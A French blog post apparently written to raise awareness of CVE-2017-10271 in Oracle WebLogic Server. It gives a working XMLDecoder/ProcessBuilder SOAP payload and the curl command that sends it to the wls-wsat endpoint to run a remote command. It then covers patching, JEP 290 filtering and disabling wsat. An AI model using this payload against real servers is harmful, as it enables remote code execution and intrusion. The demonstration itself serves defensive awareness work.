Lors de mes différentes interventions, j’essaie de sensibiliser les clients à la nécessité de prendre en compte la sécurité des serveurs J2EE. Je dis bien « j’essaie » car bon nombre d’entre eux ne me semblent pas totalement conscients des risques. Sous prétexte d’être cachés derrière une armée de pare-feux certains pensent être à l’abri d’attaques sur leurs serveurs d’applications.
Au travers de cet article je souhaite montrer la simplicité avec laquelle il est possible d’exécuter du code sur un serveur distant via une simple requête HTTP.
La « faille » que j’utilise pour les besoins de la démonstration est la CVE-2017-10271
Publiée en octobre 2017, cette faille concerne Oracle WebLogic Server pour les versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 et 12.2.1.2.0
Les versions antérieurs à la 10.3.6 sont sans doutes concernées mais Oracle ne fournit aucune informations sur ces versions pour lesquelles il n’existe plus de support.
La CVE-2017-10271 indique un vecteur d’attaque par le protocole interne de WebLogic « T3 » mais c’est bien une simple requête HTTP qui permet à un attaquant de déclencher l’exécution d’un code sur un serveur distant.
Le vecteur est donc une requête HTTP. La cible de la requête est une application web déployée en interne par WebLogic : wls-wsat
WSAT est l’acronyme de Web Services Atomic Transactions. Ce composant permet une interopérabilité de la stack web service de WebLogic avec d’autres systèmes transactionnels comme .NET ou WebSphere par exemple. Il étend les capacités de l’implémentation JAX-WS de WebLogic Server.
Démonstration
Les chapitres montrent comment effectuer l’attaque sur un serveur WebLogic en fonctionnement.
La faille exploitée
Pour une énième fois la faille porte sur la désérialisation des objets Java. Véritable cauchemar depuis son apparition dans Java, sa capacité de sérialisation/déserialisation des objets ne fait que poser des problèmes en terme de sécurité. Le problème vient de la désérialisation des objets qui ne contrôle pas ce quelle créée comme types d’objets au sein de la JVM. Ajouté à cela les capacités d’introspection de la JVM et vous avez une parfaite boîte à outils pour hacker.
L’environnement
Serveur d’application : WebLogic Server 10.3.6.0.0
Un domaine WebLogic avec 1 ou plusieurs serveurs en mode PRODUCTION.
Système d’exploitation : A votre convenance
Outils :
- Editeur de textes ou SOAP-UI
- curl
Préparation
L’attaque est réalisée en soumettant un payload à un des web services exposés par l’application web wls-wsat :
- CoordinatorPortType
- RegistrationPortTypeRPC
- ParticipantPortType
- RegistrationRequesterPortType
- CoordinatorPortType11
- RegistrationPortTypeRPC11
- ParticipantPortType11
- RegistrationRequesterPortType11
Enregistrer le payload suivant dans un fichier texte sur le disque dur :
[pastacode lang= »markup » manual= »%3Csoapenv%3AEnvelope%20xmlns%3Asoapenv%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fenvelope%2F%22%3E%20%0A%09%3Csoapenv%3AHeader%3E%0A%09%09%3Cwork%3AWorkContext%20xmlns%3Awork%3D%22http%3A%2F%2Fbea.com%2F2004%2F06%2Fsoap%2Fworkarea%2F%22%3E%20%0A%09%09%09%3Cjava%20version%3D%221.6_0.29%22%20class%3D%22java.beans.XMLDecoder%22%3E%20%0A%09%09%09%3Cvoid%20class%3D%22java.lang.ProcessBuilder%22%3E%20%0A%09%09%09%09%3Carray%20class%3D%22java.lang.String%22%20length%3D%223%22%3E%0A%09%09%09%09%3Cvoid%20index%20%3D%20%220%22%3E%0A%09%09%09%09%09%3Cstring%3Ecmd%3C%2Fstring%3E%0A%09%09%09%09%3C%2Fvoid%3E%0A%09%09%09%09%3Cvoid%20index%20%3D%20%221%22%3E%20%0A%09%09%09%09%09%3Cstring%3E%2Fc%3C%2Fstring%3E%20%0A%09%09%09%09%3C%2Fvoid%3E%0A%09%09%09%09%3Cvoid%20index%20%3D%20%222%22%3E%0A%09%09%09%09%09%3Cstring%3Eecho%20hello%20%3E%20cve.txt%3C%2Fstring%3E%0A%09%09%09%09%3C%2Fvoid%3E%0A%09%09%09%3C%2Farray%3E%0A%09%09%09%3Cvoid%20method%3D%22start%22%2F%3E%0A%09%09%09%3C%2Fvoid%3E%0A%09%09%09%3C%2Fjava%3E%0A%09%09%09%3C%2Fwork%3AWorkContext%3E%20%0A%09%3C%2Fsoapenv%3AHeader%3E%20%0A%3Csoapenv%3ABody%2F%3E%0A%3C%2Fsoapenv%3AEnvelope%3E » message= »Payload XML » highlight= » » provider= »manual »/]
La commande distante à exécuter est à inscrire directement dans le payload en utilisant les 3 paramètres de la méthode « start ». L’exemple a été exécuté sous Windows et déclenche la commande « cmd /c echo hello > cve.txt » Elle écrira donc le texte « hello » dans le fichier cve.txt à la racine du domaine.
Je laisse libre cours à votre imagination pour trouver d’autres commandes à exécuter à distance.
Déclenchement
Une fois le fichier avec le payload prêt, il suffit de l’envoyer vers le serveur. L’utilitaire curl suffit pour ça :
[pastacode lang= »bash » manual= »curl%20–header%20%22Content-Type%3A%20text%2Fxml%3Bcharset%3DUTF-8%22%20%20–data%20%40payload.xml%20http%3A%2F%2Flocalhost%3A7001%2Fwls-wsat%2FCoordinatorPortType » message= »La commande curl qui permet d’envoyer le payload vers le serveur » highlight= » » provider= »manual »/]
Le résultat de la commande ressemblera à ceci :
[pastacode lang= »markup » manual= »%3C%3Fxml%20version%3D’1.0’%20encoding%3D’UTF-8’%3F%3E%3CS%3AEnvelope%20xmlns%3AS%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fenvelope%2F%22%3E%3CS%3ABody%3E%3CS%3AFault%20xmlns%3Ans4%3D%22http%3A%2F%2Fwww.w3.org%2F2003%2F05%2Fsoap-envelope%22%3E%3Cfaultcode%3ES%3AServer%3C%2Ffaultcode%3E%3Cfaultstring%3E0%3C%2Ffaultstring%3E%3C%2FS%3AFault%3E%3C%2FS%3ABody%3E%3C%2FS%3AEnvelope%3E%0A » message= » » highlight= » » provider= »manual »/]
Cette réponse indique qu’une erreur s’est produite au niveau du service distant. Peu importe, le mal est fait. Inspectez le répertoire racine du domaine, vous y trouverez votre fichier.
Contre-mesures
Que faut-il faire face à ce genre de menace ?
Patcher vos serveurs
Oracle a publié un correctif dans son CPU d’octobre 2017. A installer d’urgence si ce n’est pas déjà fait.
Patcher Java
Dans le cas précis des problèmes liés à la déserialisation des objets, JAVA a été équipé d’un mécanisme de « filtrage » des objets qui sont désérialisés. Cette nouvelle capacité est décrite dans la JEP 290. L’idée est de disposer :
- d’une liste blanche des classes pouvant être déserialisées « sans risque »
- et d’une liste noire des classes ne devant surtout pas être désérialisées car présentant un risque fort au niveau de la sécurité
Ces 2 listes peuvent être enrichies à volonté au lancement du serveur.
WebLogic peut utiliser cette capacité sous réserve d’utiliser au minimum une des versions de java suivantes :
- JDK 8 Update 121 (JDK 8u121) ou supérieure
- JDK 7 Update 131 (JDK 7u131) ou supérieure
- JDK 6 Update 141 (JDK 6u141) ou supérieure
Ne pas hésiter à consulter la documentation Oracle sur le sujet pour les détails de la mise en oeuvre.
Pour rappel JDK 6 n’est plus supporté par Oracle depuis décembre 2018.
Désactiver les fonctions inutiles
Pour le cas précis d’une attaque via l’application web wls-wsat il est possible de la désactiver si elle n’est pas nécessaire.
Pour cela il suffit d’ajouter la propriété suivante au démarrage des instances WebLogic du domaine (serveur d’administration inclus)
[pastacode lang= »bash » manual= »-Dweblogic.wsee.wstx.wsat.deployed%3Dfalse » message= » » highlight= » » provider= »manual »/]
A noter également que cette application est désactivée par défaut pour les versions 12.2.1.3.x et supérieures de WebLogic.
Ces contre-mesures doivent venir compléter les règles de durcissement des environnements déjà en vigueur.
Conclusion
L’exploitation de la faille est donc très simple. La seule solution pour la contrer est de patcher l’installation WebLogic avec les correctifs de sécurité publiés par Oracle. Ils sont publiés tous les trimestres. A l’heure où cet article est publié, le dernier en date est celui de janvier 2019. Vous savez ce qu’il vous reste à faire.
La sécurité ne concerne évidement pas uniquement le serveur d’application. Le système d’exploitation et Java sont concernés également en tout premier lieu. Leur mise à jour régulière avec les derniers correctifs est primordiale pour limiter le risque d’une action malveillante sur les serveurs.
Les failles liées à la désérialisation des objets Java sont nombreuses et pas toujours évidentes à contrer. L’utilisation du filtrage des classes apporté par la JEP 290 peut constituer une réponse. Toutefois, il n’est pas évident de déterminer les classes qui font usage de la désérialisation. Un outil comme la « Vigie » peut apporter des réponses en pistant toutes les tentatives de désérialisations effectuées par une application Java.